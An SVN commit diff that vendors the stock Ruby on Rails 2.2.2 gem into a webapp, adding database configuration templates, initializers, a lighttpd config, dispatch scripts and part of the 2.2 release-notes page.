+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/frontbase.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,28 @@
+# FrontBase versions 4.x
+#
+# Get the bindings:
+#   gem install ruby-frontbase
+
+development:
+  adapter: frontbase
+  host: localhost
+  database: <%= app_name %>_development
+  username: <%= app_name %>
+  password: ''
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  adapter: frontbase
+  host: localhost
+  database: <%= app_name %>_test
+  username: <%= app_name %>
+  password: ''
+
+production:
+  adapter: frontbase
+  host: localhost
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: ''

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/ibm_db.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/ibm_db.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/ibm_db.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,62 @@
+# IBM Dataservers
+#
+# Home Page
+#   http://rubyforge.org/projects/rubyibm/
+#
+# To install the ibm_db gem:
+#   On Linux:
+#     Source the db2profile file and set the necessary environment variables:
+#
+#       . /home/db2inst1/sqllib/db2profile
+#       export IBM_DB_DIR=/opt/ibm/db2/V9.1
+#       export IBM_DB_LIB=/opt/ibm/db2/V9.1/lib32
+#
+#     Then issue the command: gem install ibm_db
+#
+#   On Windows:
+#     Issue the command: gem install ibm_db
+#     If prompted, select the mswin32 option
+#
+# For more details on the installation refer to http://rubyforge.org/docman/view.php/2361/7682/IBM_DB_GEM.pdf
+#
+# For more details on the connection parameters below refer to:
+#   http://rubyibm.rubyforge.org/docs/adapter/0.9.0/rdoc/classes/ActiveRecord/ConnectionAdapters/IBM_DBAdapter.html
+
+development:
+  adapter:     ibm_db
+  username:    db2inst1
+  password:
+  database:    <%= app_name[0,4] %>_dev
+  #schema:      db2inst1
+  #host:        localhost
+  #port:        50000
+  #account:     my_account
+  #app_user:    my_app_user
+  #application: my_application
+  #workstation: my_workstation
+
+test:
+  adapter:     ibm_db
+  username:    db2inst1
+  password:
+  database:    <%= app_name[0,4] %>_tst
+  #schema:      db2inst1
+  #host:        localhost
+  #port:        50000
+  #account:     my_account
+  #app_user:    my_app_user
+  #application: my_application
+  #workstation: my_workstation
+
+production:
+  adapter:     ibm_db
+  username:    db2inst1
+  password:
+  database:    <%= app_name[0,4] %>_prd
+  #schema:      db2inst1
+  #host:        localhost
+  #port:        50000
+  #account:     my_account
+  #app_user:    my_app_user
+  #application: my_application
+  #workstation: my_workstation
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/mysql.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/mysql.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/mysql.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,57 @@
+# MySQL.  Versions 4.1 and 5.0 are recommended.
+#
+# Install the MySQL driver:
+#   gem install mysql
+# On Mac OS X:
+#   sudo gem install mysql -- --with-mysql-dir=/usr/local/mysql
+# On Mac OS X Leopard:
+#   sudo env ARCHFLAGS="-arch i386" gem install mysql -- --with-mysql-config=/usr/local/mysql/bin/mysql_config
+#       This sets the ARCHFLAGS environment variable to your native architecture
+# On Windows:
+#   gem install mysql
+#       Choose the win32 build.
+#       Install MySQL and put its /bin directory on your path.
+#
+# And be sure to use new-style password hashing:
+#   http://dev.mysql.com/doc/refman/5.0/en/old-client.html
+development:
+  adapter: mysql
+  encoding: utf8
+  database: <%= app_name %>_development
+  pool: 5
+  username: root
+  password:
+<% if socket -%>
+  socket: <%= socket %>
+<% else -%>
+  host: localhost
+<% end -%>
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  adapter: mysql
+  encoding: utf8
+  database: <%= app_name %>_test
+  pool: 5
+  username: root
+  password:
+<% if socket -%>
+  socket: <%= socket %>
+<% else -%>
+  host: localhost
+<% end -%>
+
+production:
+  adapter: mysql
+  encoding: utf8
+  database: <%= app_name %>_production
+  pool: 5
+  username: root
+  password: 
+<% if socket -%>
+  socket: <%= socket %>
+<% else -%>
+  host: localhost
+<% end -%>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/oracle.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/oracle.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/oracle.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+# Oracle/OCI 8i, 9, 10g
+#
+# Requires Ruby/OCI8:
+#  http://rubyforge.org/projects/ruby-oci8/
+#
+# Specify your database using any valid connection syntax, such as a
+# tnsnames.ora service name, or a SQL connect url string of the form:
+#
+#   //host:[port][/service name]
+#
+# By default prefetch_rows (OCI_ATTR_PREFETCH_ROWS) is set to 100. And
+# until true bind variables are supported, cursor_sharing is set by default
+# to 'similar'. Both can be changed in the configation below; the defaults
+# are equivalent to specifying:
+#
+#  prefetch_rows: 100
+#  cursor_sharing: similar
+#
+
+development:
+  adapter: oracle
+  database: <%= app_name %>_development
+  username: <%= app_name %>
+  password:
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  adapter: oracle
+  database: <%= app_name %>_test
+  username: <%= app_name %>
+  password:
+
+production:
+  adapter: oracle
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: 

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/postgresql.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/postgresql.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/postgresql.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,51 @@
+# PostgreSQL. Versions 7.4 and 8.x are supported.
+#
+# Install the ruby-postgres driver:
+#   gem install ruby-postgres
+# On Mac OS X:
+#   gem install ruby-postgres -- --include=/usr/local/pgsql
+# On Windows:
+#   gem install ruby-postgres
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: <%= app_name %>_development
+  pool: 5
+  username: <%= app_name %>
+  password:
+
+  # Connect on a TCP socket. Omitted by default since the client uses a
+  # domain socket that doesn't need configuration. Windows does not have
+  # domain sockets, so uncomment these lines.
+  #host: localhost
+  #port: 5432
+
+  # Schema search path. The server defaults to $user,public
+  #schema_search_path: myapp,sharedapp,public
+
+  # Minimum log levels, in increasing order:
+  #   debug5, debug4, debug3, debug2, debug1,
+  #   log, notice, warning, error, fatal, and panic
+  # The server defaults to notice.
+  #min_messages: warning
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  adapter: postgresql
+  encoding: unicode
+  database: <%= app_name %>_test
+  pool: 5
+  username: <%= app_name %>
+  password:
+
+production:
+  adapter: postgresql
+  encoding: unicode
+  database: <%= app_name %>_production
+  pool: 5
+  username: <%= app_name %>
+  password:

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/sqlite2.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/sqlite2.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/sqlite2.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+# SQLite version 2.x
+#   gem install sqlite-ruby
+development:
+  adapter: sqlite
+  database: db/development.sqlite2
+  pool: 5
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  adapter: sqlite
+  database: db/test.sqlite2
+  pool: 5
+
+production:
+  adapter: sqlite
+  database: db/production.sqlite2
+  pool: 5

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/sqlite3.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/sqlite3.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/sqlite3.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+# SQLite version 3.x
+#   gem install sqlite3-ruby (not necessary on OS X Leopard)
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  adapter: sqlite3
+  database: db/test.sqlite3
+  pool: 5
+  timeout: 5000
+
+production:
+  adapter: sqlite3
+  database: db/production.sqlite3
+  pool: 5
+  timeout: 5000

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/inflections.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/inflections.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/inflections.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format 
+# (all these examples are active by default):
+# ActiveSupport::Inflector.inflections do |inflect|
+#   inflect.plural /^(ox)$/i, '\1en'
+#   inflect.singular /^(ox)en/i, '\1'
+#   inflect.irregular 'person', 'people'
+#   inflect.uncountable %w( fish sheep )
+# end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/mime_types.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/mime_types.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/mime_types.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new mime types for use in respond_to blocks:
+# Mime::Type.register "text/richtext", :rtf
+# Mime::Type.register_alias "text/html", :iphone

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/new_rails_defaults.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/new_rails_defaults.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers/new_rails_defaults.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+# These settings change the behavior of Rails 2 apps and will be defaults
+# for Rails 3. You can remove this initializer when Rails 3 is released.
+
+if defined?(ActiveRecord)
+  # Include Active Record class name as root for JSON serialized output.
+  ActiveRecord::Base.include_root_in_json = true
+
+  # Store the full class name (including module namespace) in STI type column.
+  ActiveRecord::Base.store_full_sti_class = true
+end
+
+# Use ISO 8601 format for JSON serialized times and dates.
+ActiveSupport.use_standard_json_time_format = true
+
+# Don't escape HTML entities in JSON, leave that for the #json_escape helper.
+# if you're including raw json in an HTML page.
+ActiveSupport.escape_html_entities_in_json = false
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/lighttpd.conf
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/lighttpd.conf	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/lighttpd.conf	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,54 @@
+# Default configuration file for the lighttpd web server
+# Start using ./script/server lighttpd
+
+server.bind = "0.0.0.0"
+server.port = 3000
+
+server.modules           = ( "mod_rewrite", "mod_accesslog", "mod_fastcgi", "mod_compress", "mod_expire" )
+
+server.error-handler-404 = "/dispatch.fcgi"
+server.pid-file          = CWD + "/tmp/pids/lighttpd.pid"
+server.document-root     = CWD + "/public/"
+
+server.errorlog          = CWD + "/log/lighttpd.error.log"
+accesslog.filename       = CWD + "/log/lighttpd.access.log"
+
+url.rewrite              = ( "^/$" => "index.html", "^([^.]+)$" => "$1.html" )
+
+compress.filetype        = ( "text/plain", "text/html", "text/css", "text/javascript" )
+compress.cache-dir       = CWD + "/tmp/cache"
+
+expire.url               = ( "/favicon.ico"  => "access 3 days", 
+                             "/images/"      => "access 3 days", 
+                             "/stylesheets/" => "access 3 days",
+                             "/javascripts/" => "access 3 days" )
+
+
+# Change *-procs to 2 if you need to use Upload Progress or other tasks that
+# *need* to execute a second request while the first is still pending.
+fastcgi.server      = ( ".fcgi" => ( "localhost" => (
+  "min-procs"       => 1, 
+  "max-procs"       => 1,
+  "socket"          => CWD + "/tmp/sockets/fcgi.socket",
+  "bin-path"        => CWD + "/public/dispatch.fcgi",
+  "bin-environment" => ( "RAILS_ENV" => "development" )
+) ) )
+
+mimetype.assign = (  
+  ".css"        =>  "text/css",
+  ".gif"        =>  "image/gif",
+  ".htm"        =>  "text/html",
+  ".html"       =>  "text/html",
+  ".jpeg"       =>  "image/jpeg",
+  ".jpg"        =>  "image/jpeg",
+  ".js"         =>  "text/javascript",
+  ".png"        =>  "image/png",
+  ".swf"        =>  "application/x-shockwave-flash",
+  ".txt"        =>  "text/plain"
+)
+
+# Making sure file uploads above 64k always work when using IE or Safari
+# For more information, see http://trac.lighttpd.net/trac/ticket/360
+$HTTP["useragent"] =~ "^(.*MSIE.*)|(.*AppleWebKit.*)$" {
+  server.max-keep-alive-requests = 0
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/locales/en.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/locales/en.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/locales/en.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+# Sample localization file for English. Add more files in this directory for other locales.
+# See http://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points.
+
+en:
+  hello: "Hello world"
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/routes.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/routes.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/routes.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,43 @@
+ActionController::Routing::Routes.draw do |map|
+  # The priority is based upon order of creation: first created -> highest priority.
+
+  # Sample of regular route:
+  #   map.connect 'products/:id', :controller => 'catalog', :action => 'view'
+  # Keep in mind you can assign values other than :controller and :action
+
+  # Sample of named route:
+  #   map.purchase 'products/:id/purchase', :controller => 'catalog', :action => 'purchase'
+  # This route can be invoked with purchase_url(:id => product.id)
+
+  # Sample resource route (maps HTTP verbs to controller actions automatically):
+  #   map.resources :products
+
+  # Sample resource route with options:
+  #   map.resources :products, :member => { :short => :get, :toggle => :post }, :collection => { :sold => :get }
+
+  # Sample resource route with sub-resources:
+  #   map.resources :products, :has_many => [ :comments, :sales ], :has_one => :seller
+  
+  # Sample resource route with more complex sub-resources
+  #   map.resources :products do |products|
+  #     products.resources :comments
+  #     products.resources :sales, :collection => { :recent => :get }
+  #   end
+
+  # Sample resource route within a namespace:
+  #   map.namespace :admin do |admin|
+  #     # Directs /admin/products/* to Admin::ProductsController (app/controllers/admin/products_controller.rb)
+  #     admin.resources :products
+  #   end
+
+  # You can have the root of your site routed with map.root -- just remember to delete public/index.html.
+  # map.root :controller => "welcome"
+
+  # See how all your routes lay out with "rake routes"
+
+  # Install the default routes as the lowest priority.
+  # Note: These default routes make all actions in every controller accessible via GET requests. You should
+  # consider removing the them or commenting them out if you're using named routes and resources.
+  map.connect ':controller/:action/:id'
+  map.connect ':controller/:action/:id.:format'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/dispatch.fcgi
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/dispatch.fcgi	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/dispatch.fcgi	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+#!/usr/bin/env ruby
+#
+# You may specify the path to the FastCGI crash log (a log of unhandled
+# exceptions which forced the FastCGI instance to exit, great for debugging)
+# and the number of requests to process before running garbage collection.
+#
+# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log
+# and the GC period is nil (turned off).  A reasonable number of requests
+# could range from 10-100 depending on the memory footprint of your app.
+#
+# Example:
+#   # Default log path, normal GC behavior.
+#   RailsFCGIHandler.process!
+#
+#   # Default log path, 50 requests between GC.
+#   RailsFCGIHandler.process! nil, 50
+#
+#   # Custom log path, normal GC behavior.
+#   RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log'
+#
+require File.dirname(__FILE__) + "/../config/environment"
+require 'fcgi_handler'
+
+RailsFCGIHandler.process!


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/dispatch.fcgi
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/dispatch.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/dispatch.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/dispatch.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+#!/usr/bin/env ruby
+
+require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT)
+
+# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like:
+# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired
+require "dispatcher"
+
+ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun)
+Dispatcher.dispatch


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/dispatch.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/gateway.cgi
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/gateway.cgi	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/gateway.cgi	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,97 @@
+#!/usr/bin/env ruby
+
+require 'drb'
+
+# This file includes an experimental gateway CGI implementation. It will work
+# only on platforms which support both fork and sockets.
+#
+# To enable it edit public/.htaccess and replace dispatch.cgi with gateway.cgi.
+#
+# Next, create the directory log/drb_gateway and grant the apache user rw access
+# to said directory.
+#
+# On the next request to your server, the gateway tracker should start up, along
+# with a few listener processes. This setup should provide you with much better
+# speeds than dispatch.cgi.
+#
+# Keep in mind that the first request made to the server will be slow, as the
+# tracker and listeners will have to load. Also, the tracker and listeners will
+# shutdown after a period if inactivity. You can set this value below -- the
+# default is 90 seconds.
+
+TrackerSocket = File.expand_path(File.join(File.dirname(__FILE__), '../log/drb_gateway/tracker.sock'))
+DieAfter = 90 # Seconds
+Listeners = 3
+
+def message(s)
+  $stderr.puts "gateway.cgi: #{s}" if ENV && ENV["DEBUG_GATEWAY"]
+end
+
+def listener_socket(number)
+  File.expand_path(File.join(File.dirname(__FILE__), "../log/drb_gateway/listener_#{number}.sock"))
+end
+
+unless File.exist? TrackerSocket
+  message "Starting tracker and #{Listeners} listeners"
+  fork do
+    Process.setsid
+    STDIN.reopen "/dev/null"
+    STDOUT.reopen "/dev/null", "a"
+
+    root = File.expand_path(File.dirname(__FILE__) + '/..')
+
+    message "starting tracker"
+    fork do
+      ARGV.clear
+      ARGV << TrackerSocket << Listeners.to_s << DieAfter.to_s
+      load File.join(root, 'script', 'tracker')
+    end
+
+    message "starting listeners"
+    require File.join(root, 'config/environment.rb')
+    Listeners.times do |number|
+      fork do
+        ARGV.clear
+        ARGV << listener_socket(number) << DieAfter.to_s
+        load File.join(root, 'script', 'listener')
+      end
+    end
+  end
+
+  message "waiting for tracker and listener to arise..."
+  ready = false
+  10.times do
+    sleep 0.5
+    break if (ready = File.exist?(TrackerSocket) && File.exist?(listener_socket(0)))
+  end
+
+  if ready
+    message "tracker and listener are ready"
+  else
+    message "Waited 5 seconds, listener and tracker not ready... dropping request"
+    Kernel.exit 1
+  end
+end
+
+DRb.start_service
+
+message "connecting to tracker"
+tracker = DRbObject.new_with_uri("drbunix:#{TrackerSocket}")
+
+input = $stdin.read
+$stdin.close
+
+env = ENV.inspect
+
+output = nil
+tracker.with_listener do |number|
+  message "connecting to listener #{number}"
+  socket = listener_socket(number)
+  listener = DRbObject.new_with_uri("drbunix:#{socket}")
+  output = listener.process(env, input)
+  message "listener #{number} has finished, writing output"
+end
+
+$stdout.write output
+$stdout.flush
+$stdout.close


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches/gateway.cgi
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/README_FOR_APP
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/README_FOR_APP	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/README_FOR_APP	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+To build the guides:
+
+* Install source-highlighter (http://www.gnu.org/software/src-highlite/source-highlight.html)
+* Install the mizuho gem (http://github.com/FooBarWidget/mizuho/tree/master)
+* Run `rake guides` from the railties directory
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/2_2_release_notes.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/2_2_release_notes.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/2_2_release_notes.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1185 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Ruby on Rails 2.2 Release Notes</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+#
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_infrastructure">Infrastructure</a>
+						<ul>
+						
+							<li><a href="#_internationalization">Internationalization</a></li>
+						
+							<li><a href="#_compatibility_with_ruby_1_9_and_jruby">Compatibility with Ruby 1.9 and JRuby</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_documentation">Documentation</a>
+					</li>
+					<li>
+					<a href="#_better_integration_with_http_out_of_the_box_etag_support">Better integration with HTTP : Out of the box ETag support</a>
+					</li>
+					<li>
+					<a href="#_thread_safety">Thread Safety</a>
+					</li>
+					<li>
+					<a href="#_active_record">Active Record</a>
+						<ul>
+						
+							<li><a href="#_transactional_migrations">Transactional Migrations</a></li>
+						
+							<li><a href="#_connection_pooling">Connection Pooling</a></li>
+						
+							<li><a href="#_hashes_for_join_table_conditions">Hashes for Join Table Conditions</a></li>
+						
+							<li><a href="#_new_dynamic_finders">New Dynamic Finders</a></li>
+						
+							<li><a href="#_associations_respect_private_protected_scope">Associations Respect Private/Protected Scope</a></li>
+						
+							<li><a href="#_other_activerecord_changes">Other ActiveRecord Changes</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_action_controller">Action Controller</a>
+						<ul>
+						
+							<li><a href="#_shallow_route_nesting">Shallow Route Nesting</a></li>
+						
+							<li><a href="#_method_arrays_for_member_or_collection_routes">Method Arrays for Member or Collection Routes</a></li>
+						
+							<li><a href="#_resources_with_specific_actions">Resources With Specific Actions</a></li>
+						
+							<li><a href="#_other_action_controller_changes">Other Action Controller Changes</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_action_view">Action View</a>
+					</li>
+					<li>
+					<a href="#_action_mailer">Action Mailer</a>
+					</li>
+					<li>
+					<a href="#_active_support">Active Support</a>
+						<ul>
+						
+							<li><a href="#_memoization">Memoization</a></li>
+						
+							<li><a href="#_tt_each_with_object_tt"><tt>each_with_object</tt></a></li>
+						
+							<li><a href="#_delegates_with_prefixes">Delegates With Prefixes</a></li>
+						
+							<li><a href="#_other_active_support_changes">Other Active Support Changes</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_railties">Railties</a>
+						<ul>
+						
+							<li><a href="#_tt_config_gems_tt"><tt>config.gems</tt></a></li>
+						
+							<li><a href="#_other_railties_changes">Other Railties Changes</a></li>
+						
+						</ul>
+					</li>
